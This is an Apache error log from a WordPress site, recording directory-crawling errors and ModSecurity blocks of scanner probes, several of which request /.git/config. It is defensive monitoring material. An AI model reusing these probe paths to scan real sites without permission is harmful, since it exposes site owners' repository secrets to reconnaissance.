[Tue Nov 11 20:34:36.493559 2025] [autoindex:error] [pid 36673:tid 36685] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/customize-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:37.957996 2025] [autoindex:error] [pid 36673:tid 36683] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:38.373557 2025] [autoindex:error] [pid 36673:tid 36692] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/block/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:39.929966 2025] [autoindex:error] [pid 36673:tid 36688] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:42.748296 2025] [autoindex:error] [pid 36673:tid 36692] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:44.160482 2025] [autoindex:error] [pid 36673:tid 36678] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:44.263110 2025] [autoindex:error] [pid 36673:tid 36690] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:44.374934 2025] [autoindex:error] [pid 36673:tid 36677] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:44.491468 2025] [autoindex:error] [pid 36673:tid 36689] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/namespaced/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:47.634071 2025] [autoindex:error] [pid 36673:tid 36679] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:47.813933 2025] [autoindex:error] [pid 36673:tid 36675] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:49.708773 2025] [autoindex:error] [pid 36673:tid 36687] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:49.853098 2025] [autoindex:error] [pid 36673:tid 36688] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:51.203038 2025] [autoindex:error] [pid 36673:tid 36680] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:51.630664 2025] [autoindex:error] [pid 36673:tid 36686] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:51.745322 2025] [autoindex:error] [pid 36673:tid 36683] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/themes/twentytwentyfour/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:52.010174 2025] [autoindex:error] [pid 36673:tid 36681] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/more/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:56.090096 2025] [autoindex:error] [pid 36673:tid 36682] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:59.125780 2025] [autoindex:error] [pid 36673:tid 36695] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:59.445005 2025] [autoindex:error] [pid 36673:tid 36675] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/swfupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:59.610586 2025] [autoindex:error] [pid 36673:tid 36676] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:02.539694 2025] [autoindex:error] [pid 36673:tid 36698] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:04.055139 2025] [autoindex:error] [pid 36673:tid 36678] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:04.472673 2025] [autoindex:error] [pid 36673:tid 36677] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:05.964745 2025] [autoindex:error] [pid 36673:tid 36696] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:08.855090 2025] [autoindex:error] [pid 36673:tid 36695] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:08.982833 2025] [autoindex:error] [pid 36673:tid 36675] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:12.254238 2025] [autoindex:error] [pid 36673:tid 36692] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:15.604064 2025] [autoindex:error] [pid 36673:tid 36689] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:15.787600 2025] [autoindex:error] [pid 36673:tid 36685] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:17.490626 2025] [autoindex:error] [pid 36673:tid 36699] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:17.612281 2025] [autoindex:error] [pid 36673:tid 36682] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:19.187798 2025] [autoindex:error] [pid 36673:tid 36691] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:23.848544 2025] [autoindex:error] [pid 36580:tid 36639] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:23.982525 2025] [autoindex:error] [pid 36580:tid 36640] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:27.015741 2025] [autoindex:error] [pid 36580:tid 36650] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:31.576232 2025] [autoindex:error] [pid 36580:tid 36651] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:33.021153 2025] [autoindex:error] [pid 36580:tid 36648] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/embed/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:34.509464 2025] [autoindex:error] [pid 36580:tid 36638] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:35.956151 2025] [autoindex:error] [pid 36580:tid 36643] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:40.008474 2025] [autoindex:error] [pid 36580:tid 36649] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:40.118143 2025] [autoindex:error] [pid 36580:tid 36653] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:42.085024 2025] [autoindex:error] [pid 36580:tid 36655] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:42.226414 2025] [autoindex:error] [pid 36580:tid 36645] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:35:48.272621 2025] [autoindex:error] [pid 36580:tid 36661] [client 194.5.82.57:40921] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:55:48.063066 2025] [:error] [pid 43205:tid 43217] [client 45.153.34.41:35692] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRMyVL48SbhIkX6TjwOl0AAAAQk"]
[Tue Nov 11 21:13:56.640466 2025] [:error] [pid 43205:tid 43212] [client 45.153.34.41:39728] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRM2lL48SbhIkX6TjwOtsAAAAQQ"]
[Tue Nov 11 21:31:33.693118 2025] [:error] [pid 36673:tid 36694] [client 138.197.43.122:33776] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRM6tSvASiSDHs9bkfcrvgAAAJM"]
[Tue Nov 11 21:31:35.316470 2025] [:error] [pid 36579:tid 36613] [client 138.197.43.122:58616] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRM6t-muedRSntjwLw6cewAAAAI"]
[Tue Nov 11 21:34:31.017212 2025] [:error] [pid 43205:tid 43224] [client 138.197.43.122:50026] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRM7Z748SbhIkX6TjwO3eAAAARA"]
[Tue Nov 11 21:34:32.669471 2025] [:error] [pid 36580:tid 36642] [client 138.197.43.122:51982] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRM7aJaaFQZGE3H9yOHsUAAAAEQ"]
[Tue Nov 11 22:11:33.711008 2025] [:error] [pid 47964:tid 47978] [client 213.209.143.137:57423] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNEFV6CQC3ebUS5pkQD-QAAAYs"]
[Tue Nov 11 22:11:34.229370 2025] [:error] [pid 47931:tid 47938] [client 213.209.143.137:58613] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNEFjWP7ptQ6Y-gz68euQAAAUQ"]
[Tue Nov 11 22:11:34.749174 2025] [:error] [pid 47964:tid 47972] [client 213.209.143.137:59933] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNEFl6CQC3ebUS5pkQD_AAAAYU"]
[Wed Nov 12 00:54:40.260524 2025] [:error] [pid 54702:tid 55029] [client 195.78.67.13:40994] [client 195.78.67.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.78.67.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRNqUICgou0IW-jKFfmRmwAAAY8"]
[Wed Nov 12 01:17:21.805881 2025] [:error] [pid 54701:tid 54996] [client 43.159.143.190:56888] [client 43.159.143.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRNvoRf-2zu56UfbUVK6iQAAAUs"]
[Wed Nov 12 02:48:57.825465 2025] [:error] [pid 40833:tid 40859] [client 80.94.92.138:18834] [client 80.94.92.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aROFGWTefCfEPkRt3xnvVQAAANA"]
